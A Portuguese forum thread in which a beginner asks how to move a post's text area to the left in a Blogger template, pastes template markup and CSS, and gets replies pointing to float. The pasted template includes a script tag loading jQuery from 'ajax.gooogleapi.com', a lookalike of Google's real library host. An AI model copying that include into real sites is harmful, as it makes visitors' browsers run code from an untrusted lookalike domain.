Posicionamento do texto

[Dougs 0]

Boa noite!

Podem me ajudar, por favor?

Já tentei, mas não consigo fazer com que a área de texto da postagem (circulada de preto) fique posicionada do lado esquerdo (circulado de laranja)

Não é a minha área. Comecei a aprender HTML e CSS agora e estou apanhando muito para conseguir fazer essa mudança.

Sei que não deveria usar Blogger também. Mas o template que eu precisava não tinha para Wordpress.

[leonardo de andrade baessa 16]

Posta o Código amigo.

[Dougs 0]

Opa, acho que as partes referentes a isso são as seguintes:

   <!-- START SINGLE WORK DESIGN AREA -->
        <div class='outer-wrapper'>
          <div class='main-wrapper'>
            <b:section class='content' id='content' showaddelement='no'>
              <b:widget id='Blog1' locked='true' title='Postagens no blog' type='Blog' version='1' visible='true'>
                <b:includable id='main' var='top'>

                  <!-- Image Append -->

                  <!-- Image Append For Post -->
                  <b:if cond='data:blog.pageType == "item"'>
                    <div class='big_post_image' id='pic1'/>
                  </b:if>
                  <!-- Image Append For Page -->
                  <b:if cond='data:blog.pageType == "static_page"'>
                    <div class='big_post_image' id='pic1'/>
                  </b:if>

                  <!-- Image Append END. -->

E essa:

<b:if cond='data:blog.pageType == "item"'>
<style>
div#work {
    background: #f7f7f7;
}
.outer-wrapper{
    position: relative;
    padding-top: 0px;
    padding-bottom: 100px;
    display: inline-block;
    width: 100%;
}
.main-wrapper {
    margin-left: 350px;
}
#content{
width: 100%;
position: relative;
float: left;
}
.date-outer.col-md-4.col-sm-4{
    width: 100%!important;
    padding: 30px;
    padding-top: 0;
    background: #fff;
	float: top-left; 
	

}
.menu-area {
    background: #ffffff;
}
</style>
</b:if>
<script src='https://ajax.gooogleapi.com/ajax/libs/jquery/1.7.3/jquery.min.js'/>
<b:if cond='data:blog.pageType == "static_page"'>
<style>
div#work {
    background: #f7f7f7;
}
.outer-wrapper{
    position: relative;
    padding-top: 0px;
    padding-bottom: 100px;
    display: inline-block;
    width: 100%;
}
.main-wrapper {
    margin-right: 350px;
}
#content{
width: 100%;
position: center;
float: left;
}
.date-outer.col-md-4.col-sm-4{
    width: 100%!important;
    padding: 30px;
    padding-top: 0;
    background: #fff;
}
.menu-area {
    background: #ffffff;

Pode me ajudar? Tá uma guerra isso aqui.

Muito obrigado.

[bruno_mosciatti 22]

Só com esses códigos fica difícil ajudar! Mas você já tentou o float:left ?

[angelorubin 142]

Bem simples, como nosso amigo acima citou, com float.

 

Layout com CSS

 

Exemplo Online